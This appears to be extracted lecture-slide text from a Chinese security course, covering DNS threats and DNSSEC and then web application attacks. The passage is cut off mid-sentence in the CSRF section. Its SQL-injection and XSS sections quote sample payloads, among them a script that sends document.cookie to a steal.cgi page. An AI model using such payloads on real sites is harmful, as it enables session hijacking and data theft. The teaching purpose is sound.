第八章DNS安全內容提綱DNS面臨的安全威脅2DNSSEC3DNS概述1DNS除了域名解析外，現代DNS還具有：應用層路由：DNS把用戶的訪問指向離用戶最近的那個CDN服務器節點，負載均衡；Email服務器利用DNS服務器中的MX記錄作為路由，找到企業內部真正的服務器DNS除了域名解析外，現代DNS還具有：DNS作為信任的基礎：防偽造郵件、域名作為驗證證書申請者身份的信任基礎DNS除了域名解析外，現代DNS還具有：DNS作為PKI：防止CA在未經網站所有者授權的前提下簽發非法的證書域名的層次結構DNS域名的層次結構DNSDNS域名遞歸查詢過程遞歸查詢以瀏覽網站為例說明域名解析過程瀏覽器導航欄中鍵入網站的域名或單擊URL鏈接后，瀏覽器將啟動DNS解析過程來查找這些IP地址瀏覽器會向“解析器”(resolver)發送一個查詢，解析器會在本地保留以前查詢過的問題的答案副本（緩存），如果存在直接響應瀏覽器。如果緩存中沒有，則解析器會執行完整的DNS解析過程。以瀏覽網站為例說明域名解析過程向13個根服務器中的任意一個根服務器發送包含網站域名的查詢，詢問該網站對應的IP地址。收到查詢請求的根服務器會返回一個“引薦”（referral）作為響應，包含網站域名TLD的名稱服務器的列表。例如，如果您嘗試訪問網站，您的解析器將向其中一個根服務器發送一個查詢，詢問該域名的IP地址，此時，根服務器將返回一個列出了“.com”（我們示例中的TLD）的所有名稱服務器的列表。以瀏覽網站為例說明域名解析過程將同一查詢發送到引薦響應中收到的其中一個TLD的名稱服務器。TLD名稱服務器通常也只包含它們負責的域的名稱服務器信息。因此，就像發送到根服務器的查詢一樣，發送到TLD名稱服務器的查詢也會收到引薦響應，提供一個有關所查詢的二級域的名稱服務器列表。如前例，解析器將向其中一個“.com”名稱服務器發送對“”的查詢，詢問該域名的IP地址，“.com”名稱服務器將返回一個列出“”的所有名稱服務器的列表。以瀏覽網站為例說明域名解析過程此解析過程將一直繼續，直到將查詢發送到符合以下條件之一的域名服務器：擁有答案，即Web服務器的IP地址；或者域名服務器能夠發布權威性聲明，表示所查詢的域名不存在。在示例中，解析器將向其中一個“”的名稱服務器發送對“”的查詢，該名稱服務器可能知道與“”相關的IP地址，并返回這些地址。。以瀏覽網站為例說明域名解析過程根服務器系統（rootserversystem）由1000多臺單獨的計算機（稱為根服務器“節點”【instance】）組成，這些計算機會保留DNS的根數據。這些節點通過引薦頂級域的名稱服務器來響應來自互聯網解析器的查詢。根服務器鏡像根域名服務器遞歸與迭代相結合的查詢DNSDNS生態系統內容提綱DNS面臨的安全威脅2DNSSEC3DNS概述1DNS面臨的安全威脅DNS面臨的安全威脅一、協議脆弱性域名欺騙：域名系統(包括DNS服務器和解析器)接收或使用來自未授權主機的不正確信息，事務ID欺騙和緩存投毒DNS安全威脅DNS緩存DNS安全威脅一、協議脆弱性域名欺騙：域名系統(包括DNS服務器和解析器)接收或使用來自未授權主機的不正確信息，事務ID欺騙和緩存投毒DNS安全威脅一、協議脆弱性USENIXSecurity2020：鄭曉峰等，PoisonOverTroubledForwarders:A

cachePoisoningAttackTargetingDNSForwardingDevices。提出了針對DNS協議設計的一種新的攻擊方法，可以針對廣泛部署的DNS轉發服務（如家用Wi-Fi路由器、公共Wi-Fi等場景）實現緩存污染攻擊，D-Link、Linksys、微軟DNS、開源軟件dnsmasq等多個知名品牌的產品或系統可能受到該攻擊的影響。DNS安全威脅一、協議脆弱性域名欺騙：域名系統(包括DNS服務器和解析器)接收或使用來自未授權主機的不正確信息，事務ID欺騙和緩存投毒DNS安全威脅DNS安全威脅閱讀在線文檔“真的黑客能讓你分分鐘開進溝里，但他們不屑于此”（/s/z-Qk0-uDchvEtGKQDw8wkQ），討論2008年丹·卡明斯基發現的DNS緩存攻擊方法和2020年段海新、錢志云等人發現的DNS緩存攻擊方法的實現過程討論一、協議脆弱性網絡通信攻擊：針對DNS的網絡通信攻擊主要是DDoS攻擊、惡意網址重定向和中間人(man-in-the-middle,MITM)攻擊DNS安全威脅2016，DNS服務Dyn被DDoS攻擊2013，DNS被用于反射DDoS一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅段海新等USENIX2018一、協議脆弱性網絡通信攻擊：DNS域名解析過程劫持DNS安全威脅二、實現脆弱性DNS軟件，BIND的漏洞和缺陷無疑會給DNS系統帶來嚴重的威脅，其緩沖區溢出漏洞一度占據UNIX及Linux操作系統相關安全隱患的首位DNS安全威脅二、實現脆弱性DNS安全威脅二、實現脆弱性WindowsDNSServer實現安全漏洞（CVE-2020-1350）DNS安全威脅二、實驗脆弱性DNS安全威脅三、操作脆弱性由于人為操作或配置錯誤所帶來的安全隱患：域名配置攻擊、域名注冊攻擊和信息泄漏等DNS安全威脅攻擊目標網站域名注冊服務提供商

修改目標網站域名記錄

申請網站證書

偽裝成目標網站組合攻擊實現網站假冒攻擊目標網站域名注冊服務提供商

修改目標網站域名記錄

申請網站證書

偽裝成目標網站組合攻擊實現網站假冒攻擊目標網站域名注冊服務提供商

修改目標網站域名記錄

申請網站證書

偽裝成目標網站組合攻擊實現網站假冒通過查看的域名系統（DNS）記錄，發現指向的是馬來西亞的Internet地址：9攻擊者還從Let’sEncrypt獲得了的免費加密證書。組合攻擊實現網站假冒此外，IP被解析到域名組合攻擊實現網站假冒DNS是互聯網治理的焦點DNS是互聯網治理的焦點，涉及技術標準、國際政治、法律經濟等各種糾紛伊拉克戰爭期間，在美國政府授意下，伊拉克頂級域名“.iq”的申請和解析工作被終止，所有網址以“.iq”為后綴的網站從互聯網蒸發中國部署了4臺IPv6根域名服務器。打破壟斷、突破封鎖，中國徹底打破了沒有根服務器的困境。關于伊拉克國家域名IQ被刪除的事件:關于IPv6試驗根項目:DNS是互聯網治理的焦點JonPostel:互聯網之神DNS是互聯網治理的焦點內容提綱DNS面臨的安全威脅2DNSSEC3DNS概述1DNSSEC域名欺騙、惡意網址重定向和中間人攻擊之所以能夠成功，是因為DNS解析的請求者無法驗證它所收到的應答信息的真實性和完整性。為應對上述安全威脅，IETF提出了DNS安全擴展協議（DNSSEC）。DNSSEC一、DNSSEC基本原理DNSSEC基本思想依賴于數字簽名和公鑰系統去保護DNS數據的可信性和完整性：權威域名服務器用自身的私鑰來簽名資源記錄，然后解析服務器用權威域名服務器的公鑰來認證來自權威域名服務器的數據，如果認證成功，則表明接收到的數據確實來自權威域名服務器，則解析服務器接收數據，如果認證失敗，則表明接收到的數據很可能是偽造的，則解析服務器拋棄數據DNSSECDNSSEC基本思想盡管DNSSEC的原理比較簡單，但其標準的制定和部署面臨著巨大的挑戰：域名軟件之父保羅·維克多（PaulVixie）的曲折經歷DNSSECPaulVixiePaulVixiePaulVixie以得到廣泛支持的RFC4033-4035版本為例簡要介紹DNSSEC的基本內容提供數據來源驗證：DNS數據來自正確的域名服務器；

提供數據完整性驗證：數據在傳輸過程中沒有任何更改；提供否定存在驗證：對否定應答報文提供驗證信息DNSSEC原理以得到廣泛支持的RFC4033-4035版本為例簡要介紹DNSSEC的基本內容提供數據來源驗證：DNS數據來自正確的域名服務器；

提供數據完整性驗證：數據在傳輸過程中沒有任何更改；提供否定存在驗證：對否定應答報文提供驗證信息DNSSEC原理以得到廣泛支持的RFC4033-4035版本為例簡要介紹DNSSEC的基本內容DNSSEC原理DNSSEC中新增的四種類型的資源記錄：DNSKEY(DNSPublicKey)、RRSIG（ResourceRecordSignature）、DS(DelegationSigner)、NSEC(NextSecure)DNSSEC資源記錄DNSKEY：存儲服務器的公開密鑰DNSSEC資源記錄標志(Flags)協議(Protocol)算法(Algorithm)公鑰(Public

Key)2

octets1

octet1

octetDNSKEY：存儲服務器的公開密鑰DNSSEC資源記錄DNSKEY：存儲服務器的公開密鑰DNSSEC資源記錄在DNSSEC的實踐中，權威域的管理員通常用兩對密鑰配合完成對區數據的簽名第一對密鑰用來對區內的DNS資源記錄進行簽名，稱為區簽名密鑰（ZoneSigningKey,ZSK），由權威認證服務器生成、簽名。另一對稱為密鑰簽名密鑰（KeySigningKey,KSK）的公私鑰對，用來對包含密鑰（如ZSK）的資源記錄（DNSKEY）進行簽名，并將簽名結果放在DNSKEY的RRSIG記錄中DNSSEC資源記錄DNSKEY：存儲服務器的公開密鑰DNSSEC資源記錄DNSSEC信任根信息可以查IANA的網站（/dnssec/files）信任鏈建立過程RoottrustanchorsRRSIG：存儲對資源記錄集合（RRSets）的數字簽名DNSSEC資源記錄RRSIG：存儲對資源記錄集合（RRSets）的數字簽名DNSSEC資源記錄RRSIG：存儲對資源記錄集合（RRSets）的數字簽名DNSSEC資源記錄NSEC：為了應答那些不存在的資源記錄而設計在區數據簽名時，NSEC記錄會自動生成。如在和之間會插入下面的兩條記錄DNSSEC資源記錄涉及到所有者域名的排序問題DS：記錄存儲DNSKEY的散列值，用于驗證DNSKEY的真實性，從而建立一個信任鏈DNSSEC資源記錄DS：記錄存儲DNSKEY的散列值，用于驗證DNSKEY的真實性，從而建立一個信任鏈DNSSEC資源記錄示例：區DNS資源記錄內容簽名前后的變化情況DNSSEC資源記錄DNSSEC新增的4種資源記錄，這些記錄的長度遠遠超過了最初的DNS協議標準規定的512字節，而要求DNS報文大小必須達到1220字節，甚至是4096字節。因此DNS服務器如果要支持DNSSEC，則首先需要支持擴展DNS機制（ExtensionMechanismsforDNS,EDNS）DNSSEC對DNS協議的修改1987年的RFC1035限制了DNS報文大小、新功能EDNS擴展DNS格式和功能IPv6、DNSSEC、ECS等向后兼容的Workaround嘗試服務器不支持或被防火墻過濾DNSFlagday:2019/2/1日后，對EDNS實現不標準的授權服務器，Google等公共DNS將不再嘗試訪問，可能導致解析失敗EDNS1987年的RFC1035限制了DNS報文大小、新功能EDNS擴展DNS格式和功能EDNS偽資源記錄：DNSSEC對DNS協議的修改DNSSEC在協議報文頭中增加了三個標志位：DO（DNSSECOK,參見RFC3225）標志位：支持DNSSEC標志位AD（AuthenticData）標志位：認證數據標志CD

（CheckingDisabled）標志：關閉檢查標志位DNSSEC對DNS協議的修改偽資源記錄（OPT）DNSSEC遞歸解析過程DNSSECDNSSEC遞歸解析過程DNSSECDNSSEC解析示例解析示例參見教材配套的實驗指導書的8.2.3節查看DNSSEC域名解析過程/二、DNSSEC配置兩項工作：配置安全的域名解析服務器（resolver），該服務器可以保護使用它的用戶，防止被DNS欺騙攻擊。這里只涉及數字簽名的驗證工作。配置安全的權威域名服務器（nameserver），對權威域的資源記錄進行簽名，保護服務器不被域名欺騙攻擊。DNSSEC配置以BIND9為例介紹（教材8.3.2節）DNSSEC配置三、DNSSEC安全性分析DNSSEC的安全性取決于PKI所用密鑰的安全性DNSSEC選擇RSA/SHA-n加密算法，即首先將要傳送的數據通過SHA-n算法進行安全散列變換，然后利用RSA算法生成的私鑰進行數字簽名DNSSEC安全性分析DNSSEC通過數字簽名保證域名信息的真實性和完整性，防止對域名服務信息的偽造、篡改DNSSEC并不保證機密性，因為它不對DNS記錄進行加密也解決不了DNS服務器本身的安全問題，如被入侵、存儲的Zone數據被篡改、拒絕服務攻擊、DNS軟件的實現問題等DNSSEC安全性分析由于DNSSEC的報文長度增加和解析過程繁復，在面臨DDoS攻擊時，DNS服務器承受的負擔更為嚴重，抵抗攻擊所需的資源要成倍增加DNSSEC安全性分析DNS加密(DNSCrypt)DNS加密(DNSCrypt)DNS加密(DNSCrypt)DNS加密（DoH）DNS的隱私革命：ObliviousDNS2020年12月：Cloudflare在官方博客宣布支持一項新提議的DNS標準——ObliviousDNS。該標準由Cloudflare、Apple和Fastly三家公司的工程師共同撰寫，能夠將IP地址（創建）與查詢分開，從而確保沒有一個實體可以同時看到兩者（從而獲取用戶隱私）DNS加密（ODoH）四、DNSSEC部署DNSSEC的部署也面臨著巨大挑戰。1999年RFC2535發布后的近10年間，DNSSEC受限于技術、成本、網絡性能等多方面因素的影響，一直未得到各方面的充分重視，部署進展緩慢。BIND9的開發主要用于支持DNSSEC協議。2000年，瑞典在其國家頂級域中首次嘗試部署DNSSEC協議，但發現存在隱私和擴展方面的問題。隨后幾年，DNSSEC協議修修補補，部署實施進展緩慢DNSSEC部署DNSSEC部署DNSSEC部署截止2018年底，中美著名公共DNS服務器支持DNSSEC的情況DNSSEC部署DNSSEC部署DNSSEC部署DNSSEC部署DNSSEC部署中美三個行業權威服務器DNSSEC部署情況DNSSEC部署FourteenYearsintheLife:ARootServer’sPerspectiveonDNSResolverSecurity(USENIXSecurity2023)作者指出，即使部署最高危的安全修復也需要時間。沒有使用SPR的DNS解析器比例下降到2008年的一半，總共花了三年時間。直到rootzone被簽名8年后，DNSSEC驗證的使用才達到20%。DNScookie規范發布5年后，2021年甚至沒有達到DNS解析器的10%。0x20encoding甚至從未達到1%的DNS解析器。DNSSEC部署DNSSEC協議設計時并沒有考慮增量式部署的情況，其安全功能是基于所有DNS服務器全部采用DNSSEC協議這一假設的在DNSSEC完全部署到位之前，會造成“安全孤島”現象如何判斷一個域名服務器是否支持DNSSEC？問題分析判斷一個域名是否支持DNSSEC判斷一個域名是否支持DNSSEC隨著DNSSEC、DoT、DoH等技術的推廣應用，以及新的域名安全技術的提出及應用將持續改善域名安全狀況未來發展本章小結作業參考內容一、討論：美國真的能讓一個國家從互聯網上消失嗎？美國如果在根域名服務器上把中國域名給封了，中國會從網絡上消失？討論：美國對域名的控制權2021.6.22美國扣押伊朗網站域名事件討論：美國對域名的控制權構建獨立網絡的爭議據俄新社報道，當地時間2021年2月1日，俄羅斯聯邦安全委員會副主席梅德韋杰夫在接受俄羅斯媒體采訪時表示：“互聯網是特定階段的產物，但是它處于美國的掌控之下。在緊急情況下其運用斷網這一手段，可能性是非常大的。”、“切斷俄羅斯與全球互聯網的聯系，并運行俄羅斯獨立網絡在技術上已成為可能，政府對此種情況已有預案?！?、“俄羅斯在獨立網絡的技術上已一切準備就緒，法律層面也在推進”。有關是否要建立獨立網絡政界和學術界存在爭議，有些人不太認同美國政府是否有能力或有意愿這么做。討論：美國對域名的控制權二、DNS加密DNS加密廣受爭議討論DNSSEC、DNSEncrypt就安全了嗎？討論攻防永遠在路上

三、DNS生態系統安全DANE生態系統安全分析討論USENIXSecurity2020討論域名解析的依賴關系有時并不取決于域名所在的層次，比如CERNET.NET的域名的解析依賴于.CN、.HK和.DE。根據2015年的測試結果，CERNET.NET的域名解析可能依賴于24個域名討論：域名空間的依賴關系2013年段海新等人的分析結果討論：域名空間的依賴關系域名依賴導致的安全問題在中間路徑上劫持域名部分域名可能成為瓶頸，對這些瓶頸域名的攻擊可能導致網絡大規模的癱瘓討論：域名空間的依賴關系DNSForwarder中的安全問題討論USENIXSecurity2020論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全論DNS生態系統安全第九章Web應用安全HTTPS31Web應用體系結構脆弱性分析常見Web應用攻擊及防范內容提綱HTTPoverQUIC24Web應用防火墻WAF5Web應用體系結構Web客戶端Web服務器Web應用程序Web應用程序Web應用程序傳輸層

數據庫

連接器

數據庫

連接器

Edge,Chrome,Firefox,etc.HTTP/HTTPS請求明文或SSLHTTP響應(HTML,JavaScript,etc.)

ApacheIISetc.

PerlC++CGIJavaASPPHPetc.

ADOODBCJDBCetc.

OracleSQLServeretc.網站Web應用體系結構Web客戶端活動內容執行，客戶端軟件漏洞的利用，交互站點腳本的錯誤傳輸偷聽客戶-服務器通信，SSL重定向Web服務器Web服務器軟件漏洞Web應用體系結構Web應用程序攻擊授權、認證、站點結構、輸入驗證，以及應用程序邏輯數據庫通過數據庫查詢運行優先權命令，查詢操縱返回額外的數據集。Web應用程序功能與安全隱患的對應關系Web應用安全HTTP協議是一種簡單的、無狀態的應用層協議（RFC1945、RFC2616）無狀態使攻擊變得容易基于ASCII碼，無需弄清復雜的二進制編碼機制，攻擊者就可了解協議中的明文信息互聯網中存在的大量中間盒子，HTTP標準(RFC2616和RFC7320)的理解如果不一致，就有可能導致一些新的攻擊發生HTTP協議安全問題HTTP會話經常被劫持HTTP協議安全問題HTTP會話頭泄露隱私信息HTTP協議安全問題中間盒子帶來的HTTP安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題HTTP協議安全問題為什么需要Cookie？解決無狀態問題：保存客戶服務器之間的一些狀態信息Cookie是指網站為了辨別用戶身份、進行會話跟蹤而儲存在用戶本地終端上的一些數據（通常經過編碼），最早由網景公司的LouMontulli在1993年3月發明的，后被采納為RFC標準（RFC2109、RFC2965）Cookie的安全問題Cookie的生成與維護由服務器端生成，發送給客戶端（一般是瀏覽器），瀏覽器會將Cookie的值保存到某個目錄下的文本文件內，下次請求同一網站時就發送該Cookie給服務器（前提是瀏覽器設置為啟用Cookie）服務器可以利用Cookie存儲信息并經常性地維護這些信息，從而判斷在HTTP傳輸中的狀態Cookie安全問題Cookie的生成與維護Cookie在生成時就會被指定一個Expire值，這就是Cookie的生存周期。到期自動清除如果一臺計算機上安裝了多個瀏覽器，每個瀏覽器都會在各自獨立的空間存放CookieCookie中的內容大多數經過了編碼處理Cookie安全問題Cookie的一般格式如下：NAME=VALUE;expires=DATE;path=PATH;domain=DOMAIN_NAME;secure示例autolog=bWlrzTpteXMxy3IzdA%3D%3D;expires=Sat,01-Jan-201800:00:00GMT;path=/;domain=Cookie安全問題Cookie中包含了一些敏感信息，如用戶名、計算機名、使用的瀏覽器和曾經訪問的網站等，攻擊者可以利用它來進行竊密和欺騙攻擊Cookie安全問題HTTPS31Web應用體系結構脆弱性分析常見Web應用攻擊及防范內容提綱HTTPoverQUIC24Web應用防火墻WAF5OWASP十大安全漏洞變遷史OWASPOWASP:OpenWebApplicationSecurityProject，一個全志愿者組成的、非營利性機構開發和出版免費專業開源的文檔、工具和標準，如：

“TheTenMostCriticalWebApplicationSecurityVulnerabilities”，《AGuidetoBuildingSecureWebApplications》，

WebGoat，WebScarab，各種Web代碼測試工具等OWASPOWASP:OpenWebApplicationSecurityProject，,致力于幫助組織機構理解和提高他們的Web安全組織各種Web安全會議2007VS.2004(1/2)OWASPTop102007OWASPTop102004A1.CrossSiteScripting(XSS)A4.CrossSiteScripting(XSS)A2.InjectionFlawsA6.InjectionFlawsA3.MaliciousFileExecution(NEW)A4.InsecureDirectObjectReferenceA2.BrokenAccessControl

(Splitin2007T10)A5.CrossSiteRequestForgery(CSRF)(NEW)A6.InformationLeakageandImproperErrorHandlingA7.ImproperErrorHandlingA7.BrokenAuthenticationandSessionManagementA3.BrokenAuthenticationandSessionManagement2007VS.2004(2/2)OWASPTop102007OWASPTop102004A8.InsecureCryptographicStorageA8.InsecureStorageA9.InsecureCommunications(NEW)A10.FailuretoRestrictURLAccessA2.BrokenAccessControl(splitin2007T10)<removedin2007>A1.Un-validatedInput<removedin2007>A5.BufferOverflows<removedin2007>A9.DenialofService<removedin2007>A10.InsecureConfigurationManagement十大安全漏洞-OWASP2007A1.Injection：注入漏洞；A2.BrokenAuthenticationandSessionManagement：失效的身份認證和會話管理；A3.Cross-SiteScripting(XSS)：跨站腳本；A4.InsecureDirectObjectReferences：不安全的直接對象引用；A5.SecurityMisconfiguration：安全配置錯誤；OWASP2013A6.SensitiveDataExposure：敏感數據暴露；A7.MissingFunctionLevelAccessControl：功能級別訪問控制缺失；A8.Cross-SiteRequestForgery(CSRF)：跨站請求偽造；A9.UsingKnowVulnerableComponents：使用已知易受攻擊的組件；A10.UnvalidatedRedirectsandForwards未驗證的重定向和轉發OWASP2013OWASP2017OWASP2017OWASP2017OWASP2021一、SQL注入攻擊及防范注入漏洞

Injectionflaws,particularlySQLinjection,arecommoninwebapplications.Injectionoccurswhenuser-supplieddataissenttoaninterpreteraspartofacommandorquery.Theattacker’shostiledatatrickstheinterpreterintoexecutingunintendedcommandsorchangingdata.OWASPDefinition

注入漏洞典型注入漏洞包括：SQL注入（執行SQL語句）操作系統命令注入（調用Shell）HTML注入（跨站腳本攻擊，XSS）SQL注入原理以網站數據庫為目標，利用Web應用程序對特殊字符串過濾不完全的缺陷，通過把精心構造的SQL命令插入Web表單，或者將SQL命令加入到域名請求或頁面請求的查詢字符串中，欺騙服務器執行惡意的SQL命令，最終達到非法訪問網站數據庫內容、篡改數據庫中的數據、繞過認證（不需要掌握用戶名和口令就可登錄應用程序）、運行程序、瀏覽或編輯文件等目的。SQL注入攻擊流程FirewallHardenedOSWebServerAppServerFirewallDatabasesLegacySystemsWebServicesDirectoriesHumanResrcsBillingCustomCodeAPPLICATION

ATTACKNetworkLayerApplicationLayerAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.FunctionsHTTPrequest

SQLquery

DBTable

HTTPresponse

“SELECT*FROMaccountsWHEREacct=‘’OR1=1--’”1.Web程序提供了用戶輸入的表單；2.攻擊者通過填寫表單數據發起攻擊；3.Web程序通過SQL語句的形式將攻擊遞交給數據庫；AccountSummaryAcct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-02934.數據庫執行SQL語句，將執行結果加密后返回給應用程序；5.應用程序解密數據，將結果發送給用戶（攻擊者）。Account:

SKU:

‘OR1=1--SQL注入示例SQL注入字符串口令可以填寫任意值查詢到的用戶資料按提交方式，可分為GET注入、POST注入、Cookie注入、HTTP頭注入等按字符類型，可分為整型注入和字符型注入按服務器是否返回提示信息，可分為SQL回顯注入和SQL盲注SQL注入分類SQL回顯注入(SQLFeedbackInjection)：在執行SQL注入攻擊時，Web服務器會返回來自數據庫服務器（DBMS）的SQL語句執行結果，如數據庫字段內容，或提示具體的SQL語法錯誤信息等。攻擊者可以根據服務器返回的這些信息，有針對性地實施后續注入攻擊。SQL回顯注入DVWA中的SQL注入攻擊時的正常提示信息SQL回顯注入DVWA中SQL注入攻擊時的錯誤提示信息(輸入1’)SQL回顯注入如果我們在UserID輸入框中輸入“1’and1=1#”，或者輸入“1’and1=2#”，DVWA將給出何種結果?DVWA中的SQL注入攻擊時的錯誤提示信息SQL回顯注入使用其它子句來實施SQL注入探測字段個數：orderbynumSQL回顯注入使用其它子句來實施SQL注入探測字段個數：unionselectSQL回顯注入使用其它子句來實施SQL注入利用聯合查詢并結合一些特殊函數可獲得用戶、數據庫、表、字段等有用的信息SQL回顯注入獲得數據庫的名稱（輸入“1’unionselectdatabase()#”）、版本（輸入“1’unionselectversion()#”）、連接數據庫的用戶名（輸入“1’unionselectuser()#”）等實際的Web應用大多對回顯進行了限制，服務器不會直接返回具體的數據庫操作錯誤信息，也不會顯示SQL語句的執行結果，而是會返回程序開發者設置的特定信息，甚至有時無法判定提交的SQL語句是否執行了，這種情況下的SQL注入攻擊就稱為盲注基于布爾的盲注、基于時間的盲注、基于報錯的盲注SQL盲注基于布爾的盲注是指構造SQL語句中的條件子句，使得查詢結果為真（True）或假（False），并根據真假來推斷數據庫內容（庫名、表名、列名、字段值等）。實施過程中，通常需要不斷調整判斷條件中的數值以逼近真實值，特別是要關注真假轉換點（上一次返回的是True，下一次返回的是False，或反之）?；诓紶柕拿ぷ⒒跁r間的盲注是指在SQL語句中注入延時函數（如MySQL的sleep()函數），根據SQL語句的執行時間來獲取信息?；跁r間的盲注基于報錯的盲注是指構造惡意SQL語句，導致DBMS在執行SQL語句時產生錯誤，并回顯給客戶端，根據回顯的錯誤信息來推斷數據庫名、版本、用戶名等信息?；趫箦e的注入又可分為數據庫BUG報錯注入和數據庫函數報錯注入。基于報錯的盲注/SQL注入工具：Sqlmap攻擊成功的三個關鍵條件：第一，能夠構造出惡意SQL語句（攻擊者掌控）第二，Web服務器對于客戶端發來的請求以及數據庫服務器反饋的內容沒有進行識別和過濾（程序員相關）第三，數據庫服務器對于Web服務器發來的SQL語句沒有進行識別和過濾（程序員相關）防御SQL注入攻擊防御措施：輸入檢測，過濾特殊字符構造動態SQL語句時，一定要使用類安全(type-safe)的參數編碼機制禁止將敏感數據以明文存放在數據庫中遵循最小特權原則盡量不要使用動態拼裝的SQL，可以使用參數化的SQL或者直接使用存儲過程進行數據查詢存取應用的異常信息應該給出盡可能少的提示防御SQL注入攻擊二、跨站腳本攻擊及防范(一)跨站腳本（XSS）漏洞Cross-SiteScripting(XSS)flawsoccurwheneveranapplicationtakesusersupplieddataandsendsittoawebbrowserwithoutfirstvalidatingorencodingthatcontent.XSSallowsattackerstoexecutescriptinthevictim'sbrowserwhichcanhijackusersessions,defacewebsites,possiblyintroduceworms,etc.OWASPDefinition

跨站腳本攻擊工作原理：輸入插入包含有JavaScript或其它惡意腳本的HTML標簽代碼。問題根源：不當的服務器端輸入檢查，從而允許用戶輸入可被客戶端瀏覽器解釋的腳本命令。XSS是最普遍的Web程序安全問題。嵌入JavaScript腳本的例子：<script>window.open(/info.pl?document.cookie</script>XSS攻擊的原理帶有XSS漏洞的Web程序攻擊者將惡意腳本輸入到服務器上的Web頁面攻擊者設置陷阱12受害者瀏覽頁面3腳本將受害者的Session、Cookie發送給攻擊者運行于受害者瀏覽器的腳本可以完全訪問DOM和cookiesCustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.FunctionsXSS漏洞探測示例“Search”框內的文本信息常會反饋回用戶頁面<script>alert(document.cookie)</script>

腳本執行并將Session信息通過對話框顯示出來攻擊測試腳本儲存式跨站腳本攻擊，也稱為持久性跨站腳本攻擊。如果Web程序允許存儲用戶數據，并且存儲的輸入數據沒有經過正確的過濾，就有可能發生這類攻擊。在這種攻擊模式下，攻擊者并不需要利用一個惡意鏈接，只要用戶訪問了儲存式跨站腳本網頁，那么惡意數據就將顯示為網站的一部分并以受害者身份執行。儲存式XSS儲存式XSS儲存式XSS儲存式<script>window.location="/steal.cgi?ck="+document.cookie;</script>~留言版~<script>window.location="/steal.cgi?ck="+document.cookie;</script>也稱為非持久性跨站腳本攻擊，是一種最常見的跨站腳本攻擊類型。與本地腳本漏洞不同的是Web客戶端使用Server端腳本生成頁面為用戶提供數據時，如果未經驗證的用戶數據被包含在頁面中而未經HTML實體編碼，客戶端代碼便能夠注入到動態頁面中。在這種攻擊模式下，Web程序不會存儲惡意腳本，它會將未經驗證的數據通過請求發送給客戶端，攻擊者就可以構造惡意的URL鏈接或表單并誘騙用戶訪問，最終達到利用受害者身份執行惡意代碼的目的。反射式XSS(1)Alice經常瀏覽Bob建立的網站。Bob的站點運行Alice使用用戶名/密碼進行登錄，并存儲敏感信息(比如銀行帳戶信息)；(2)Charly發現Bob的站點包含反射性的XSS漏洞；(3)Charly編寫一個利用漏洞的URL，并將其冒充為來自Bob的郵件發送給Alice；(4)Alice在登錄到Bob的站點后，瀏覽Charly提供的URL；(5)嵌入到URL中的惡意腳本在Alice的瀏覽器中執行，就像它直接來自Bob的服務器一樣。此腳本盜竊敏感信息(授權、信用卡、帳號信息等)，然后在Alice完全不知情的情況下將這些信息發送到Charly的Web站點。反射式XSS反射式XSSloginsb.asp直接向用戶顯示msg參數，這樣只要簡單構造一個惡意的url就可以觸發一次XSS。反射式XSSDOM式XSS如果構造數據“‘onclick=’javascript:alert(/xss/)”，那么最后添加的html代碼就變成了“<ahref=’‘onclick=’javascript:alert(/xss/)’>test</a>”，插入一個onclick事件，點擊提交按鍵，那么就會發生一次DOM式xss攻擊。DOM式XSS防御XSS攻擊對Web應用程序的所有輸入進行過濾，對危險的HTML字符進行編碼：‘<’,‘>’

‘<’,‘>’‘(‘,‘)’

‘(’,‘)’‘#‘,‘&’

‘#’,‘&‘對用戶進行培訓，告知小心使用電子郵件消息或即時消息中的鏈接；防止訪問已知的惡意網站；執行手工或自動化代碼掃描，確定并消除潛在的XSS漏洞。三、Cookie欺騙及防范偽造Cookie信息，繞過網站的驗證過程，不需要輸入密碼，就可以登錄網站，甚至進入網站管理后臺偽造Cookie信息網站登錄驗證代碼偽造Cookie信息利用request.Cookies語句分別獲取Cookies中的用戶名、口令和randomid的值。如果用戶名或口令為空或randomid值不等于12就跳轉到登錄界面。也就是說，程序是通過驗證用戶的Cookie信息來確認用戶是否已登錄。然而，Cookie信息是可以在本地修改的，只要改后的Cookie信息符合驗證條件（用戶名和口令不空且randomid值等于12），就可進入管理后臺界面判斷是否有刪帖權限的代碼偽造Cookie信息只要Cookie中的power值不小于500，任意用戶都可以刪除任意帖子。同樣可以利用上面介紹的方法進行Cookie欺騙攻擊面上面介紹的兩個攻擊例子之所以成功，是因為在Cookie中保存了用戶名、口令以及權限信息而留下了安全隱患。安全原則：一般情況下，網站會話管理機制僅將會話ID保存至Cookie，而將數據本身保存在Web服務器的內存或文件、數據庫中偽造Cookie信息如果Cookie中沒有設置安全屬性secure”，則Cookie內容在網絡中用明文傳輸，攻擊者監聽到Cookie內容后可以輕松實現會話劫持為什么會不設置安全屬性監聽Cookie來實現會話劫持四、CSRF攻擊及防范跨站請求仿冒ACSRF(CrossSiteRequestForgery)attackforcesalogged-onvictim’